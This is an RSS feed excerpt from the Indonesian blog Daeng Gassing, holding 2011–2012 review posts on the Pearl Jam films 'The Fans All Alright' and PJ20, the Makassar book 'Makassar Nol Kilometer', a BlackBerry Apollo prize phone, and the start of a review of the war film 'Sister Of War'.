<?xml version="1.0" encoding="UTF-10"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Daeng Gassing &#187; Review</title>
	<atom:link href="http://daenggassing.com/category/review/feed/" rel="self" type="application/rss+xml" />
	<link>http://daenggassing.com</link>
	<description></description>
	<lastBuildDate>Thu, 09 Feb 2012 06:18:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>The Fans All Alright</title>
		<link>http://daenggassing.com/2012/01/the-fans-all-alright/</link>
		<comments>http://daenggassing.com/2012/01/the-fans-all-alright/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 18:59:51 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Film]]></category>
		<category><![CDATA[Jumat]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[Pearl Jam]]></category>
		<category><![CDATA[PJ20]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2315</guid>
		<description><![CDATA[Tidak banyak band besar di dunia yang begitu menghargai fansnya seperti Pearl Jam menghargai fansnya. Sebagian kisah antara mereka dan para fans dikemas dalam sebuah film berdurasi 80 menit yang merupakan bagian dari PJ20 dan diberi judul : The Fans All Alright Apa arti fans bagi sebuah band ? Hanya sekumpulan orang yang menyenangi hasil [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2316" class="wp-caption aligncenter" style="width: 654px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/DSC_0318.jpg"><img class=" wp-image-2316" title="DSC_0318" src="http://daenggassing.com/wp-content/uploads/2012/01/DSC_0318-1024x680.jpg" alt="" width="644" height="428" /></a><p class="wp-caption-text">Pearl Jam and Their Fans</p></div>
<blockquote>
<h3>Tidak banyak band besar di dunia yang begitu menghargai fansnya seperti Pearl Jam menghargai fansnya. Sebagian kisah antara mereka dan para fans dikemas dalam sebuah film berdurasi 80 menit yang merupakan bagian dari PJ20 dan diberi judul : The Fans All Alright</h3>
</blockquote>
<p>Apa arti fans bagi sebuah band ? Hanya sekumpulan orang yang menyenangi hasil karya mereka ? Hanya sekumpulan orang yang membeli hasil karya mereka dan kemudian begitu antusias datang ke pertunjukan mereka ? Atau sekumpulan orang yang memberi mereka energi besar untuk terus berkarya ?</p>
<p>Bagi Pearl Jam, band rock asal Seattle,? fans adalah segalanya. Mereka bukan hanya sekumpulan orang yang berdiri di depan mereka ketika konser, atau sekumpulan orang yang menyisihkan uang mereka untuk membeli semua album yang sudah mereka keluarkan. Fans bagi Pearl Jam adalah sekumpulan saudara yang ikut bersama mereka dalam 20 tahun lebih perjalanan karir mereka.</p>
<p>Mereka memulai karir dari sebuah klab kecil, menggelinding dari klab ke klab hingga ke panggung besar di depan puluhan ribu penonton. Selama 20 tahun lebih Pearl Jam sudah menggelar ratusan konser di ratusan kota di nyaris di berbagai negara di dunia ( sayangnya Jakarta belum termasuk ) dan dalam rangkaian itu ikatan erat antar band dengan para fans semakin erat.</p>
<p>Dalam Fans All Alright terbaca dengan jelas bagaimana Pearl Jam begitu menghargai para fansnya. Selepas tragedi Roskilde tahun 2000, Pearl Jam semakin menghargai ikatan itu. Kematian 9 orang fans di konser tersebut memukul psikologis mereka, menyadarkan kalau mereka harus lebih menghargai para fans yang sudah meluangkan waktunya untuk datang menikmati konser.</p>
<p>Eddie Vedder sang vokalis selalu berusaha untuk menjalin komunikasi dengan para fans. Di negara yang tak berbahasa Inggris, dia selalu berusaha untuk merangkai kalimat dalam bahasa lokal sebagai sebuah jembatan untuk mendekatkan diri dengan para fans. Eddie juga selalu mengingatkan para fans untuk menjaga diri dan menjaga teman-teman mereka yang berada di sekeliling mereka.</p>
<p>&#8221; Take care yourself, take care one and another &#8220;, Pesan Eddie di setiap penampilannya.</p>
<p>Bagi Pearl Jam, energi yang mereka dapatkan dari setiap teriakan para fans harus dikembalikan lagi, dan mereka mengembalikannya dalam bentuk penampilan yang <em>all out</em>.</p>
<p>Pearl Jam selalu menggelar konser dengan durasi 3 jam per konser. Sebuah durasi yang jelas lebih lama dibanding band-band lain. Hal tak lazim lainnya adalah mereka bisa membuat set list yang berbeda untuk penampilan dua malam berturut-turut. Mereka bukan tipe band yang menganakemaskan satu-dua lagu dan kemudian memainkannya berkali-kali di hadapan penonton.</p>
<p>Pada sebuah konser di Boston tahun 2003, Pearl Jam yang tampil tiga malam berturut-turut membawakan 93 buah lagu dan hanya satu lagu yang diulang dua malam berturut-turut. Para fans tentu tidak akan melewatkan sebuah konser yang penuh dengan kejutan seperti itu.</p>
<p>Pearl Jam pernah &#8220;mengorbankan&#8221; karirnya untuk memulai perseteruan dengan Ticketmaster yang mereka anggap terlalu banyak mengambil untung dari penjualan tiket dengan mematok harga tiket yang mencekik fans. Keputusan pengadilan yang membuat mereka kalah membuat Pearl Jam selama beberapa tahun tidak bisa tampil di venue besar dan hanya boleh menggelar konser-konser kecil. Tapi mereka tidak peduli, mereka sudah bahagia telah melakukan sesuatu untuk fans mereka.</p>
<p>Sejak tahun 2000 Pearl Jam juga mengeluarkan bootleg khusus untuk fans-fans mereka yang berisi rekaman konser. Dalam lingkup fans Pearl Jam juga ada sesuatu yang bernama <strong>DVD Tree</strong> di mana Pearl Jam sendiri sebagai band memberikan kelelulasaan kepada para fans untuk melakukan penggandaan material selama itu bukan produksi label.</p>
<p>The Fans All Alright yang merupakan bagian dari film dokumenter <strong>Pearl Jam Twenty </strong>menggambarkan dengan jelas bagaimana Pearl Jam menghargai fansnya dan tentu saja membuat para fans juga begitu menghargai Pearl Jam.</p>
<p>&#8221; They don?t know how much the?ve done for us and how we really appreciate that, &#8221; kata seorang fans.</p>
<p>&nbsp;</p>
<p>[dg]</p>
<div class="shr-publisher-2315"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fthe-fans-all-alright%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/the-fans-all-alright/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Makassar Nol Kilometer ; Dari Supporter PSM Hingga Cafe di Losari</title>
		<link>http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/</link>
		<comments>http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 23:00:43 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Buku-ku]]></category>
		<category><![CDATA[Jumat]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[buku]]></category>
		<category><![CDATA[Ininnawa]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[Makassar Nol Kilometer]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2294</guid>
		<description><![CDATA[Mengenal Makassar tidak hanya lewat brosur wisata atau catatan manis di situs-situs travel atau milik pemerintah saja. Makassar punya banyak cerita, dari pinggiran kota hingga ke pusat kota. Sebagian cerita itu dirangkum 14 orang warga dalam buku Makassar Nol Kilometer. Cerita ini dibuka dengan kisah para supporter setia klub sepakbola PSM. Cerita tentang bagaimana mereka [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2295" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/makassar-nol-kilometer.jpg"><img class="size-full wp-image-2295" title="makassar nol kilometer" src="http://daenggassing.com/wp-content/uploads/2012/01/makassar-nol-kilometer.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Makassar Nol Kilometer</p></div>
<blockquote>
<h3>Mengenal Makassar tidak hanya lewat brosur wisata atau catatan manis di situs-situs travel atau milik pemerintah saja. Makassar punya banyak cerita, dari pinggiran kota hingga ke pusat kota. Sebagian cerita itu dirangkum 14 orang warga dalam buku Makassar Nol Kilometer.</h3>
</blockquote>
<p>Cerita ini dibuka dengan kisah para supporter setia klub sepakbola PSM. Cerita tentang bagaimana mereka bersedia menyabung nyawa mengawal klub kesayangan mereka yang tandang ke kota-kota lain di luar Sulawesi, tentang bagaimana mereka harus berhadapan dengan amarah supporter tuan rumah yang jumlahnya berlipat ganda. Juga cerita tentang semangat mereka memerahkan stadion Mattoangin setiap kali PSM menjadi tuan rumah untuk klub tamu.</p>
<p>Cerita seperti ini mungkin sudah sering terbaca di berbagai media, utamanya media lokal. Tapi kedalaman cerita yang dipaparkan di bab : Pengawal Pasukan Ramang karya Muh. Nur Abdurrahman ini melebihi kedalaman cerita wartawan biasa.</p>
<p>Buku ini memang dibuat dengan dasar menggali kepedulian warga biasa tentang kotanya. Ragam cerita yang terangkum adalah ragam cerita tentang keseharian, tentang kehidupan warga biasa yang mungkin tidak akan bisa ditemukan di media mainstream, apalagi media mainstream lokal yang lebih banyak diisi acara seremonial pejabat dan gosip artis.</p>
<p>Simak cerita tentang penjual jajanan buroncong ( kue pancong khas Makassar ) di seputaran Tamalanrea atau tentang para payabo ( sebutan untuk para pengumpul barang bekas atau pemulung ) Kisah remeh temeh itu biasanya tidak mendapat tempat di koran lokal, atau kalaupun mendapat tempat, porsinya kecil dan nyaris tidak terlihat.</p>
<p>Buku ini dibagi dalam 4 bagian, Komunitas, Kuliner, Fenomena dan Ruang. Masing-masing memotret lebih dalam tentang kehidupan warga biasa di kota Makassar. Cara penulisannya beragam, sesuai dengan gaya dari keempatbelas penulis meski tetap punya benang merah yang sama yaitu feature yang dalam dan memikat.</p>
<p>Makassar Nol Kilometer terbitan penerbit Ininnawa ini sudah masuk cetakan kedua. Tiga orang editornya dikenal baik sebagai orang-orang yang aktif di dunia literasi kota Makassar. Mereka adalah Anwar J. Rahman, Nurhady Sirimorok dan M. Aan Mansyur.</p>
<p>Kedalaman cerita, sudut pandang yang berbeda dan cara mengemas yang apik menjadikan Makassar Nol Kilometer sebagai sebuah buku yang harus dibaca oleh mereka yang ingin tahu lebih dalam tentang Makassar, atau mereka yang ingin mendengar kisah nyata perjuangan masyarakat pinggiran sebuah kota yang terus berkembang dan memoles wajahnya hingga kelihatan menor.</p>
<p>Makassar Nol Kilometer dibuka oleh tulisan tentang supporter setia pasukan Ramang ( julukan PSM ) dan ditutup dengan cerita tentang cafe di sekitar pantai Losari yang makin hari makin terjepit hingga sekarang nyaris menghilang. Mari melihat sisi terdalam kota Makassar lewat buku Makassar Nol Kilometer.</p>
<p>&nbsp;</p>
<p><strong>[dG]</strong></p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/" title="cafe di makassar">cafe di makassar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/" title="hotel melati dilosari makasar">hotel melati dilosari makasar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/" title="ininnawa cafe makassar">ininnawa cafe makassar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/" title="kue pancong makasar">kue pancong makasar</a> (1)</li></ul><div class="shr-publisher-2294"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fmakassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Apollo Dalam Genggaman</title>
		<link>http://daenggassing.com/2012/01/apollo-dalam-genggaman/</link>
		<comments>http://daenggassing.com/2012/01/apollo-dalam-genggaman/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 23:14:07 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Review]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2225</guid>
		<description><![CDATA[Saya mungkin memang berjodoh dengan Blackberry. Setelah tahun lalu menang lomba blog yang diadakan XL, tahun ini kembali menang live twit yang diadakan oleh Indosat. Dua-duanya berhadiah Blackberry. Malam di sebuah tempat makan terkenal di Makassar yang letaknya di tepi pantai. Saya bersama 5 orang teman lainnya, sebagian besar dari komunitas Blogger Makassar-Anging Mammiri duduk [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2226" class="wp-caption aligncenter" style="width: 510px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/blackberry-9360-curve-apollo-500x500.jpg"><img class="size-full wp-image-2226" title="blackberry-9360-curve-apollo-500x500" src="http://daenggassing.com/wp-content/uploads/2012/01/blackberry-9360-curve-apollo-500x500.jpg" alt="" width="500" height="500" /></a><p class="wp-caption-text">Blackberry Curve Apollo</p></div>
<blockquote>
<h3>Saya mungkin memang berjodoh dengan Blackberry. Setelah tahun lalu menang lomba blog yang diadakan XL, tahun ini kembali menang live twit yang diadakan oleh Indosat. Dua-duanya berhadiah Blackberry.</h3>
</blockquote>
<p>Malam di sebuah tempat makan terkenal di Makassar yang letaknya di tepi pantai. Saya bersama 5 orang teman lainnya, sebagian besar dari komunitas Blogger Makassar-Anging Mammiri duduk tenang mengikuti sebuah acara yang diadakan oleh Indosat. Hari itu kami diundang oleh Indosat dalam rangka launching produk mereka, Indosat Mobile yang dikhususkan untuk pengguna Blackberry</p>
<p>Seperti layaknya acara yang diadakan oleh provider, beragam hadiah juga dibagi dalam acara itu. Mulai dari pulsa bernominal ratusan ribu sampai beberapa biji Blackberry. Salah satunya adalah yang dibagikan untuk pemenang lomba live twit.</p>
<p>Mendengar ada lomba live twit, saya dan teman-teman yang datang otomatis langsung semangat. Mulailah kami membanjiri lini masa dengan twit-twit tentang acara yang berlangsung. Isinya macam-macam tentu saja, dari informasi acara sampai twit-twit santai. Blackberry Apollo yang jadi hadiah utama tentu jadi incaran. Jadilah kami ngetwit sekreatif mungkin sambil berharap BB Apollo itu jatuh ke tangan.</p>
<p>Menjelang akhir acara, undian door prize dibacakan. Pemenangnya juga berhak atas BB Apollo dan jatuh tepat dua meter di samping saya. Seorang bapak yang beruntung. Dengan sumringah dia naik ke panggung. Saya masih tenang, selama ini saya memang kurang berjodoh dengan yang namanya undian, selama belasan tahun ikut undian saya hanya menang dua kali. Terakhir waktu ikut FGD Internet Sehat dengan Acer Iconia sebagai hadiahnya.</p>
<p>Di penghujung acara, pengumuman pemenang live twit kemudian dibacakan. Sang MC naik ke panggung dan kemudian membacakan isi twit pemenang. Isinya :</p>
<blockquote><p>Keren !! @indosatmobile adalah provider pertama di Asia-Pasifik yang menyediakan layanan unduh di App World dengan mata uang lokal | @isatbb</p></blockquote>
<p>denTaq yang duduk di depan saya langsung melonjak dan bilang : itu twitta..!! ( itu twit kamu ) , saya masih tidak percaya sebelum nama akun twitternya dibacakan. Dan yah, Alhamdulillah karena memang ternyata saya yang berhak mendapatkan BB Apollo itu. Wuih, rasanya sungguh luar biasa, bahkan beberapa menit setelah proses penyerahan hadiah saya masih saja gemetaran. Meski bukan pertama kalinya tapi tetap saja momen keberuntungan itu membuat saya gemetaran dan senang bukan main.</p>
<p>Begitulah, akhirnya keesokan harinya BB Apollo itu saya pakai secara resmi. Menggantikan BB Gemini yang sudah setia menemani saya selama satu tahun ini. Bagaimana kesan saya memegang BB Apollo ? Senang tentu saja.</p>
<p>Saya bukan orang yang hapal spesifikasi atau mengerti banyak tentang gadget, jadi setidaknya saya hanya bisa cerita soal performance luarnya saja. Sejauh ini BB Apollo yang saya pegang memang belum terlalu nyaman. Penyebab utamanya adalah karena bodinya yang terlalu tipis, beda dengan Gemini yang agak ramping. Hal lainnya adalah karena bagian belakangnya yang licin sehingga agak mengkhawatirkan di genggaman. Keyboardnya juga agak keras, mungkin karena masih baru.</p>
<p>Tapi selain itu, semuanya terasa menyenangkan. OS7 yang jadi platformnya tentu memberikan kelebihan dibanding OS yang saya pakai sebelumnya. Kelebihan lainnya tentu saja ada pada kameranya yang 5MP plus flash yang tertanam.</p>
<p>Saya tidak bisa bicara banyak soal kelebihan ataupun kekurangan Apollo dibanding Gemini misalnya, yang saya tahu saya senang menggunakannya. Apalagi karena gratis !!</p>
<p>Berikut adalah spesifikasi resmi dari Blackberry Apollo :</p>
<ul>
<li>Quad-band GSM and tri-band 3G support</li>
<li>7.2 Mbps HSDPA and 2 Mbps HSUPA</li>
<li>2.46&#8243; 16M-color TFT landscape display of HVGA+ resolution (480&#215;360)</li>
<li>Full QWERTY keyboard</li>
<li>Optical trackpad</li>
<li>800MHz processor</li>
<li>512MB RAM, 512MB ROM</li>
<li>Wi-Fi b/g/n connectivity</li>
<li>NFC support</li>
<li>GPS with A-GPS connectivity</li>
<li>Bluetooth v2.1</li>
<li>5 megapixel fixed focus, VGA video recording</li>
<li>BlackBerry OS 7</li>
<li>Hot-swappable microSD card slot (up to 32GB), 4GB card in the box</li>
<li>3.5 mm audio jack</li>
<li>Decent audio quality</li>
<li>Office document editor</li>
<li>Smart dialing</li>
<li>DivX and XviD video suppor</li>
</ul>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/apollo-dalam-genggaman/" title="bb apollo">bb apollo</a> (257)</li><li><a href="http://daenggassing.com/2012/01/apollo-dalam-genggaman/" title="blackberry makassar">blackberry makassar</a> (11)</li><li><a href="http://daenggassing.com/2012/01/apollo-dalam-genggaman/" title="macam-macam blackberry apollo">macam-macam blackberry apollo</a> (5)</li><li><a href="http://daenggassing.com/2012/01/apollo-dalam-genggaman/" title="kekurangan blackberry apollo">kekurangan blackberry apollo</a> (5)</li><li><a href="http://daenggassing.com/2012/01/apollo-dalam-genggaman/" title="blackberry 500 ribuan">blackberry 500 ribuan</a> (3)</li></ul><div class="shr-publisher-2225"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fapollo-dalam-genggaman%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/apollo-dalam-genggaman/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>PJ20 ; Kisah Panjang Sebuah Band</title>
		<link>http://daenggassing.com/2011/12/pj20-kisah-panjang-sebuah-band/</link>
		<comments>http://daenggassing.com/2011/12/pj20-kisah-panjang-sebuah-band/#comments</comments>
		<pubDate>Thu, 29 Dec 2011 23:00:30 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Film]]></category>
		<category><![CDATA[Pearl Jam]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[Grunge]]></category>
		<category><![CDATA[Musik]]></category>
		<category><![CDATA[PJ20]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2200</guid>
		<description><![CDATA[Berapa banyak band besar yang mampu bertahan selama 20 tahun, hanya dengan sedikit pergantian personil dan tetap aktif mengeluarkan album dan menggelar konser ? Pearl Jam adalah salah satunya. Seattle, akhir dekade 80an. Kota di barat Amerika Serikat yang akrab dengan hujan itu tiba-tiba menjadi pusat perhatian dunia musik. Ketika jaman hair metal, glam rock [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2201" class="wp-caption aligncenter" style="width: 650px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/PJ20-the-band.jpg"><img class="size-full wp-image-2201" title="PJ20 the band" src="http://daenggassing.com/wp-content/uploads/2011/12/PJ20-the-band.jpg" alt="" width="640" height="425" /></a><p class="wp-caption-text">Pearl Jam</p></div>
<blockquote>
<h3>Berapa banyak band besar yang mampu bertahan selama 20 tahun, hanya dengan sedikit pergantian personil dan tetap aktif mengeluarkan album dan menggelar konser ? Pearl Jam adalah salah satunya.</h3>
</blockquote>
<p>Seattle, akhir dekade 80an. Kota di barat Amerika Serikat yang akrab dengan hujan itu tiba-tiba menjadi pusat perhatian dunia musik. Ketika jaman <em>hair metal</em>, <em>glam rock</em> atau apapun yang dinamakan orang perlahan memudar, era baru muncul dari Seattle. Orang menyebutnya sebagai <strong><em>grunge</em></strong>, sebagian menyebutnya alternatif rock meski mereka yang memainkannya tak pernah peduli apa jenis musik mereka.</p>
<p>Nirvana, Soundgarden, Alice in Chains,Pearl Jam. Itu nama-nama yang kemudian jadi makanan empuk industri musik. Dilempar ke pasaran, dikunyah pasar dan berhasil mendatangkan dollar. Sorotan lampu mengarah ke Seattle, sebagian besarnya mengarah ke sosok seperti Kurt Cobain, Chris Cornell dan Eddie Vedder para <em>frontman </em>dari band-band grunge paling terkenal masa itu.</p>
<p>Kurt tidak tahan sorotan dan menembak kepalanya di suatu hari di bulan April 1994. Chris Cornell dan Soundgarden bubar jalan, Alice in Chains meredup dan 20 tahun kemudian tersisa satu nama yang masih terus bertahan ; <strong>Pearl Jam</strong>.</p>
<p>Kenapa Pearl Jam bisa bertahan selama itu ?</p>
<p>Kesamaan visi adalah jawabannya. Band yang awalnya dibentuk oleh <strong>Stone Gossard</strong> dan <strong>Jeff Ament</strong> sebagai sebuah pilihan selepas bubarnya <strong>Mother Love Bone</strong> yang ditinggal mati Andy Wood sang vocalis ini berkembang menjadi salah satu band yang paling idealis. <strong>Mike McCready</strong> yang bergabung kemudian dan dilengkapi oleh sang penyanyi bersuara bariton <strong>Eddie Vedder</strong> menjadi band yang tidak mabuk oleh popularitas.</p>
<p>Ketika album pertama mereka Ten laku jutaan kopi di seluruh dunia, serta merta mereka menjadi <em>rock star</em>, diincar wartawan, masuk ke halaman depan majalah-majalah musik dunia, muncul di televisi dan seharusnya mencicipi kemewahan a la bintang. Tapi mereka menolak. Mereka sedapat mungkin tetap memijakkan kaki di tanah. Mereka menolak membuat video musik untuk single Black yang populer waktu itu.</p>
<p>Ketika sebuah band menjadi terkenal dan mulai mabuk ketenaran, Pearl Jam tidak. Mereka duduk dan merenungi tujuan mereka yang sebenarnya. Benarkah popularitas itu yang mereka cari ? Benarkah ketenaran itu yang jadi tujuan utama mereka ? Sebuah kebetulan yang sangat manis karena keempat anggota inti Pearl Jam ( di luar drummer yang sering berganti ) adalah orang-orang yang senang merenung, senang mencari jawaban dari semua kejadian. Bukan hanya menikmatinya.</p>
<p>Perjalanan 20 tahun mereka yang terekam dengan apik di PJ20 ibarat sebuah mozaik indah yang dikumpulkan keping demi keping untuk mendapatkan sebuah gambaran besar tentang sebuah band yang tetap memijak bumi meski ketenaran sudah ada di tangan mereka.</p>
<p>Hubungan antar anggota adalah hubungan yang sangat dalam. Ini juga yang menjadi satu kekuatan terbesar dari Pearl Jam. Eddie Vedder yang menjadi <em>frontman</em> dan memikul beban moral paling berat dari ketenaran itu tak lantas menjadikan dirinya tiran. Begitu juga dengan Stone dan Jeff yang sesungguhnya adalah pemilik Pearl Jam. Mereka semua membuat level yang sama, suara yang sama dan kesempatan yang sama.</p>
<div id="attachment_2202" class="wp-caption aligncenter" style="width: 659px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/Pj20-the-fans.jpg"><img class=" wp-image-2202" title="Pj20 the fans" src="http://daenggassing.com/wp-content/uploads/2011/12/Pj20-the-fans.jpg" alt="" width="649" height="430" /></a><p class="wp-caption-text">The Fans</p></div>
<p>PJ20 juga memuat kisah unik anggota Pearl Jam yang menjalin kekerabatan luar biasa dengan fans mereka. Selama 20 tahun mereka terus berusaha membela kepentingan fans dan memberikan yang terbaik meski itu berarti mereka harus siap dengan hukuman akibat kalah melawan tirani <strong>ticketmaster</strong>. Fans menghormati mereka sebagai sebuah band yang punya respek sangat besar kepada fansnya.</p>
<p><strong>Cameron Crowe</strong> sang sutradara yang berlatar belakang jurnalis itu memang punya <em>sense </em>yang tepat untuk membuat film dokumenter Pearl Jam. Gaya investigasinya sangat dalam dan berhasil mengangkat beberapa fakta yang selama ini mungkin hanya jadi pergunjingan penikmat musik rock. Salah satunya adalah soal pertikaian antara Kurt dan Eddie yang terlalu dibesar-besarkan media. Cameron sudah lama dekat dengan anggota Pearl Jam dan pemusik Seattle lainnya, jadi bukan masalah besar untuk menuliskan dan kemudian mengangkatnya ke layar lebar.</p>
<p>PJ20 adalah sebuah film dokumenter yang wajib disaksikan para penikmat musik, di dalamnya tersurat dengan jelas sebuah kisah sukses dari sebuah band yang melewati masa 20 tahun tidak dengan mudah. Ada banyak hal yang bisa dipetik dari perjalanan mereka. Tentang konsistensi, tanggung jawab, kedekatan, kerendah hatian dan perhatian pada fans.</p>
<blockquote><p><em><strong>&#8221; They never realize how much they do for us. The fans. And how we really really appreciate that &#8220;</strong><br />
</em></p></blockquote>
<p>Long live Pearl Jam !!</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/pj20-kisah-panjang-sebuah-band/" title="10 band grunge terbaik terkenal">10 band grunge terbaik terkenal</a> (1)</li><li><a href="http://daenggassing.com/2011/12/pj20-kisah-panjang-sebuah-band/" title="cerita sebuah band">cerita sebuah band</a> (1)</li><li><a href="http://daenggassing.com/2011/12/pj20-kisah-panjang-sebuah-band/" title="film dokumentar musik rock grunge metal">film dokumentar musik rock grunge metal</a> (1)</li><li><a href="http://daenggassing.com/2011/12/pj20-kisah-panjang-sebuah-band/" title="film kisah band">film kisah band</a> (1)</li></ul><div class="shr-publisher-2200"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fpj20-kisah-panjang-sebuah-band%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/pj20-kisah-panjang-sebuah-band/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sister Of War ; Cinta di Tengah Perang</title>
		<link>http://daenggassing.com/2011/12/sister-of-war-cinta-di-tengah-perang/</link>
		<comments>http://daenggassing.com/2011/12/sister-of-war-cinta-di-tengah-perang/#comments</comments>
		<pubDate>Fri, 23 Dec 2011 04:00:10 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Film]]></category>
		<category><![CDATA[Random Post]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[Drama]]></category>
		<category><![CDATA[Perang]]></category>
		<category><![CDATA[Sister Of War]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2182</guid>
		<description><![CDATA[Perang, kondisi tertekan, stress dan perasaan senasib bisa memuncul beragam rasa di antara mereka yang menjalaninya. Tahun 1942, Jepang menginvasi kawasan Pasifik dan Asia Tenggara. Termasuk sebuah daerah bernama Vunapope di Papua Nugini. Di sana ada sebuah misi katolik di bawah Uskup Leo Scarmach, seorang keturunan Polandia bersama beberapa orang sister. Vunapope juga menjadi kamp [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2183" class="wp-caption aligncenter" style="width: 615px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/sister-of-war.jpg"><img class=" wp-image-2183 " title="sister of war" src="http://daenggassing.com/wp-content/uploads/2011/12/sister-of-war.jpg" alt="Sister Of War" width="605" height="354" /></a><p class="wp-caption-text">Salah satu adegan dalam Sister Of War</p></div>
<blockquote>
<h3>Perang, kondisi tertekan, stress dan perasaan senasib bisa memuncul beragam rasa di antara mereka yang menjalaninya.</h3>
</blockquote>
<p>Tahun 1942, Jepang menginvasi kawasan Pasifik dan Asia Tenggara. Termasuk sebuah daerah bernama Vunapope di Papua Nugini. Di sana ada sebuah misi katolik di bawah Uskup Leo Scarmach, seorang keturunan Polandia bersama beberapa orang sister. Vunapope juga menjadi kamp untuk beberapa perawat asal Australia yang merawat para prajurit perang pasifik yang terluka.</p>
<p>Sebelum Jepang merapat, kekuatiran sudah membayang di setiap sudut kamp itu. Apakah mereka akan bernasib buruk seperti para korban Jepang lainnya yang mereka dengar ? Apakah para sister dan perawat itu tidak akan diperkosa seperti yang mereka dengar tentang nasib para perawat di Hong Kong ? Bingung, kalut dan kuatir makin membayang ketika kapal perang Jepang sandar di pelabuhan.</p>
